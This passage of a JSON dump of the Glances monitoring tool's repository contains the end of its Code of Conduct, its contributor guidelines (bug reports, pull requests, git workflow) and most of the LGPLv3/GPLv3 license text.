confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to Glances\n\nLooking to contribute something to Glances ? **Here's how you can help.**\n\nPlease take a moment to review this document in order to make the contribution\nprocess easy and effective for everyone involved.\n\nFollowing these guidelines helps to communicate that you respect the time of\nthe developers managing and developing this open source project. In return,\nthey should reciprocate that respect in addressing your issue or assessing\npatches and features.\n\n## Using the issue tracker\n\nThe [issue tracker](https://github.com/nicolargo/glances/issues) is\nthe preferred channel for [bug reports](#bug-reports), [features requests](#feature-requests)\nand [submitting pull requests](#pull-requests), but please respect the following\nrestrictions:\n\n* Please **do not** use the issue tracker for personal support requests. An\n  official Q&A exist. [Use it](https://groups.google.com/forum/?hl=en#!forum/glances-users)!\n\n* Please **do not** derail or troll issues. Keep the discussion on topic and\n  respect the opinions of others.\n\n## Bug reports\n\nA bug is a _demonstrable problem_ that is caused by the code in the repository.\nGood bug reports are extremely helpful, so thanks!\n\nGuidelines for bug reports:\n\n0. **Use the GitHub issue search** &mdash; check if the issue has already been\n   reported.\n\n1. **Check if the issue has been fixed** &mdash; try to reproduce it using the\n   latest `master` or `develop` branch in the repository.\n\n2. **Isolate the problem** &mdash; ideally create a simple test bed.\n\n3. **Give us your test environment** &mdash; Operating system name and version\n   Glances version...\n\nExample:\n\n> Short and descriptive example bug report title.\n>\n> Glances and psutil version used (glances -V).\n>\n> Operating system description (name and version).\n>\n> A summary of the issue and the OS environment in which it occurs. If\n> suitable, include the steps required to reproduce the bug.\n>\n> 1. This is the first step\n> 2. This is the second step\n> 3. Further steps, etc.\n>\n> Screenshot (if useful)\n>\n> Any other information you want to share that is relevant to the issue being\n> reported. This might include the lines of code that you have identified as\n> causing the bug, and potential solutions (and your opinions on their\n> merits).\n>\n> You can also run Glances in debug mode (-d) and paste/bin the glances.conf file (<https://glances.readthedocs.io/en/latest/config.html>).\n>\n> Glances 3.2.0 or higher have also a --issue option to run a simple test. Please use it and copy/paste the output.\n\n## Feature requests\n\nFeature requests are welcome. But take a moment to find out whether your idea\nfits with the scope and aims of the project. It's up to _you* to make a strong\ncase to convince the project's developers of the merits of this feature. Please\nprovide as much detail and context as possible.\n\n## Pull requests\n\nGood pull requests—patches, improvements, new features—are a fantastic\nhelp. They should remain focused in scope and avoid containing unrelated\ncommits.\n\n**Please ask first** before embarking on any significant pull request (e.g.\nimplementing features, refactoring code, porting to a different language),\notherwise you risk spending a lot of time working on something that the\nproject's developers might not want to merge into the project.\n\nFirst of all, all pull request should be done on the `develop` branch.\n\nGlances uses PEP8 compatible code, so use a PEP validator before submitting\nyour pull request. Also uses the unitaries tests scripts (unitest-all.py).\n\nSimilarly, when contributing to Glances's documentation, you should edit the\ndocumentation source files in\n[the `/doc/` and `/man/` directories of the `develop` branch](https://github.com/nicolargo/glances/tree/develop/docs) and generate\nthe documentation outputs files by reading the [README](https://github.com/nicolargo/glances/tree/develop/docs/README.txt) file.\n\nAdhering to the following process is the best way to get your work\nincluded in the project:\n\n1. [Fork](https://help.github.com/fork-a-repo/) the project, clone your fork,\n   and configure the remotes:\n\n   ```bash\n   # Clone your fork of the repo into the current directory\n   git clone https://github.com/<your-username>/glances.git\n   # Navigate to the newly cloned directory\n   cd glances\n   # Assign the original repo to a remote called \"upstream\"\n   git remote add upstream https://github.com/nicolargo/glances.git\n   ```\n\n2. Get the latest changes from upstream:\n\n   ```bash\n   git checkout develop\n   git pull upstream develop\n   ```\n\n3. Create a new topic branch (off the main project development branch) to\n   contain your feature, change, or fix (best way is to call it issue#xxx):\n\n   ```bash\n   git checkout -b <topic-branch-name>\n   ```\n\n4. It's coding time !\n   Please respect the following coding convention: [Elements of Python Style](https://github.com/amontalenti/elements-of-python-style)\n\n5. Test you code using the Makefile:\n\n   * make format ==> Format your code thanks to the Ruff linter\n   * make run ==> Run Glances\n   * make run-webserver ==> Run a Glances Web Server\n   * make test ==> Run unit tests\n   * make docs ==> Update docs\n   * make webui ==> Compile a new Web UI\n\n6. Commit your changes in logical chunks. Please adhere to these [git commit\n   message guidelines](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)\n   or your code is unlikely be merged into the main project. Use Git's\n   [interactive rebase](https://help.github.com/articles/interactive-rebase)\n   feature to tidy up your commits before making them public.\n\n7. Locally merge (or rebase) the upstream development branch into your topic branch:\n\n   ```bash\n   git pull [--rebase] upstream develop\n   ```\n\n8. Push your topic branch up to your fork:\n\n   ```bash\n   git push origin <topic-branch-name>\n   ```\n\n9. [Open a Pull Request](https://help.github.com/articles/using-pull-requests/)\n    with a clear title and description against the `develop` branch.\n\n**IMPORTANT**: By submitting a patch, you agree to allow the project owners to\nlicense your work under the terms of the [LGPLv3](COPYING) (if it\nincludes code changes).\n"
  },
  {
    "path": "COPYING",
    "content": "GNU LESSER GENERAL PUBLIC LICENSE\nVersion 3, 29 June 2007\n\nCopyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.\n\nThis version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below.\n\n0. Additional Definitions.\n\nAs used herein, \"this License\" refers to version 3 of the GNU Lesser General Public License, and the \"GNU GPL\" refers to version 3 of the GNU General Public License.\n\n\"The Library\" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below.\n\nAn \"Application\" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library.\n\nA \"Combined Work\" is a work produced by combining or linking an Application with the Library.  The particular version of the Library with which the Combined Work was made is also called the \"Linked Version\".\n\nThe \"Minimal Corresponding Source\" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version.\n\nThe \"Corresponding Application Code\" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work.\n\n1. Exception to Section 3 of the GNU GPL.\nYou may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL.\n\n2. Conveying Modified Versions.\nIf you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version:\n\n     a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or\n\n     b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy.\n\n3. Object Code Incorporating Material from Library Header Files.\nThe object code form of an Application may incorporate material from a header file that is part of the Library.  You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following:\n\n     a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License.\n\n     b) Accompany the object code with a copy of the GNU GPL and this license document.\n\n4. Combined Works.\nYou may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following:\n\n     a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License.\n\n     b) Accompany the Combined Work with a copy of the GNU GPL and this license document.\n\n     c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document.\n\n     d) Do one of the following:\n\n           0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.\n\n          1) Use a suitable shared library mechanism for linking with the Library.  A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version.\n\n     e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.)\n\n5. Combined Libraries.\nYou may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following:\n\n     a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License.\n\n     b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.\n\n6. Revised Versions of the GNU Lesser General Public License.\nThe Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\n\nEach version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License \"or any later version\" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation.\n\nIf the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall\napply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.\n\nGNU GENERAL PUBLIC LICENSE\nVersion 3, 29 June 2007\n\nCopyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>\n\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.\n\nPreamble\n\nThe GNU General Public License is a free, copyleft license for software and other kinds of works.\n\nThe licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.\n\nWhen we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.\n\nTo protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.\n\nFor example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.\n\nDevelopers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.\n\nFor the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.\n\nSome devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.\n\nFinally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.\n\nThe precise terms and conditions for copying, distribution and modification follow.\n\nTERMS AND CONDITIONS\n\n0. Definitions.\n\n“This License” refers to version 3 of the GNU General Public License.\n\n“Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.\n\n“The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations.\n\nTo “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.\n\nA “covered work” means either the unmodified Program or a work based on the Program.\n\nTo “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.\n\nTo “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.\n\nAn interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.\n\n1. Source Code.\nThe “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work.\n\nA “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.\n\nThe “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.\n\nThe “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.\n\nThe Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.\n\nThe Corresponding Source for a work in source code form is that same work.\n\n2. Basic Permissions.\nAll rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.\n\nYou may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.\n\nConveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.\n\n3. Protecting Users' Legal Rights From Anti-Circumvention Law.\nNo covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.\n\nWhen you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.\n\n4. Conveying Verbatim Copies.\nYou may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.\n\nYou may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.\n\n5. Conveying Modified Source Versions.\nYou may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:\n\n     a) The work must carry prominent notices stating that you modified it, and giving a relevant date.\n\n     b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”.\n\n     c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.\n\n     d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.\n\nA compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.\n\n6. Conveying Non-Source Forms.\nYou may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:\n\n     a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.\n\n     b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.\n\n     c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.\n\n     d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.\n\n     e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.\n\nA separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.\n\nA “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.\n\n“Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.\n\nIf you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).\n\nThe requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.\n\nCorresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.\n\n7. Additional Terms.\n“Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.\n\nWhen you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.\n\nNotwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:\n\n     a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or\n\n     b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or\n\n     c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or\n\n     d) Limiting the use for publicity purposes of names of licensors or authors of the material; or\n\n     e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or\n\n     f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.\n\nAll other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.\n\nIf you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.\n\nAdditional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.\n\n8. Termination.\nYou may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).\n\nHowever, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.\n\nMoreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.\n\nTermination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.\n\n9. Acceptance Not Required for Having Copies.\nYou are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.\n\n10. Automatic Licensing of Downstream Recipients.\nEach time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.\n\nAn “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.\n\nYou may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.\n\n11. Patents.\nA “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”.\n\nA contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.\n\nEach contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.\n\nIn the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.\n\nIf you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.\n\nIf, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.\n\nA patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.\n\nNothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.\n\n12. No Surrender of Others' Freedom.\nIf conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.\n\n13. Use with the GNU Affero General Public License.\nNotwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.\n\n14. Revised Versions of this License.\nThe Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\n\nEach version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.\n\nIf the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.\n\nLater license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.\n\n15. Disclaimer of Warranty.\nTHERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n16. Limitation of Liability.\nIN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n\n17. Interpretation of Sections 15 and 16.\nIf the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.\n\nEND OF TERMS AND CONDITIONS\n\nHow to Apply These Terms to Your New Programs\n\nIf you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.\n\nTo do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found.\n\n     <one line to give the program's name and a brief idea of what it does.>\n     Copyright (C) <year>  <name of author>\n\n     This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\n\n     This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A 